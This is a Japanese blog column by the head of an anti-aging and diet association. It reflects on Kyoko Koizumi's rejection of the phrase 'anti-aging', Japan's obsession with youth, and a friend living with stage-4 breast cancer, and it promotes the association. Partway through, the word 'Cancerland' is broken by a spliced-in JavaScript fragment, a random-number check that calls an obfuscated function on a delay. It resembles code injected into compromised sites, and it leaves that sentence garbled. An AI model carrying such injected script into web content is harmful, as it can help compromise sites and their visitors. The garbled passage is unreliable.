コラムColumn

小泉今日子さんの反アンチエイジングと命の授業

小泉今日子さんが、40代向け女性誌「GLOW」で、社会学者・上野千鶴子さんとの
対談で「アンチエイジングという言葉が大嫌い」と発言したことが話題となってますが、

小泉今日子さんのおしゃっている反アンチエイジングとは、美容整形や高いコスメを
使って表面だけを若く保つことに対して、違うでしょうと苦言を呈した一言。

日本は”若い”ということがとてつもなく価値があるものとみなされるカルチャー。
私がアメリカから日本に戻ってきて、最も違和感を覚えたのが、女性ファッション誌で、
「娘と姉妹に見えます」ということを最高の賛辞として載せたページでした。

若さは美しいけれど、美しいことが若さでは決してない。

ニューヨーク時代の友人Champagne が昨日誕生日を迎えました。
日本が大好きな彼女とご主人のマイケル。遊びに来るたびに東京で一緒に
食事をしてました。

6年前に乳がんを患い、ステージ4の彼女は、
“No one told me the truth, which is, ‘A couple of years later, you’re going to die.’”
”誰も私が数年後に死ぬとは教えてくれなかった”と自らをCancerlandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and(がんランド)に住む
住民を称し、メディアを使って、リアルにその姿を公表し、様々な人々に乳がんに対する
理解を求め、検査を受けることの重要性を示し、そして多くの乳がんを患った女性たちを
励まして、今ニューヨークでアメリカで大きなムーブメントを起こしています。

私は、欠かさず読んでいる小林麻央さんのブログに、時々涙していましたが、
おりしも8月に受けたがん検診でひっかかり、再検査で全く問題なしと出ました。
目の前が一瞬にしてグレイになり、生きる、ガンになるということの意味について
深く考えた日々でした。

アンチエイジングとは、若さに固執することではなく、
見た目も内面も若々しく健康であることです。

ダイエットとは痩せるという間違えて解釈された日本語
ではなくて、英語本来の意味であるDiet=正しい食事です。

 

私のところに来る多くの女性が、痩せたい。痩せたら、~します。

若く見えたい。法令線をなくしたいとお話しされます。

どんなに痩せてもモデルさんの体型のようになれません。

ただ法令線をなくせば、美しく若く見えるのか。それだけではないはずです。



痩せることに固執することなく、洋服の選び方、魅せ方で
スタイルをよく見せること。栄養の正しい知識を学ぶために、
一般社団法人日本アンチエイジング協会を立ち上げました。

”命の授業”を身をもって教えてくれる友人Champagne Jpyに心からの敬意を払い
健康で美しい人たちを増やすために立ち上げた日本アンチエイジング・ダイエット協会で
少しでも皆様のお役にたてることができたら、と思います。

 

一般社団法人

日本アンチエイジング・ダイエット協会

理事長 一色由美子

 

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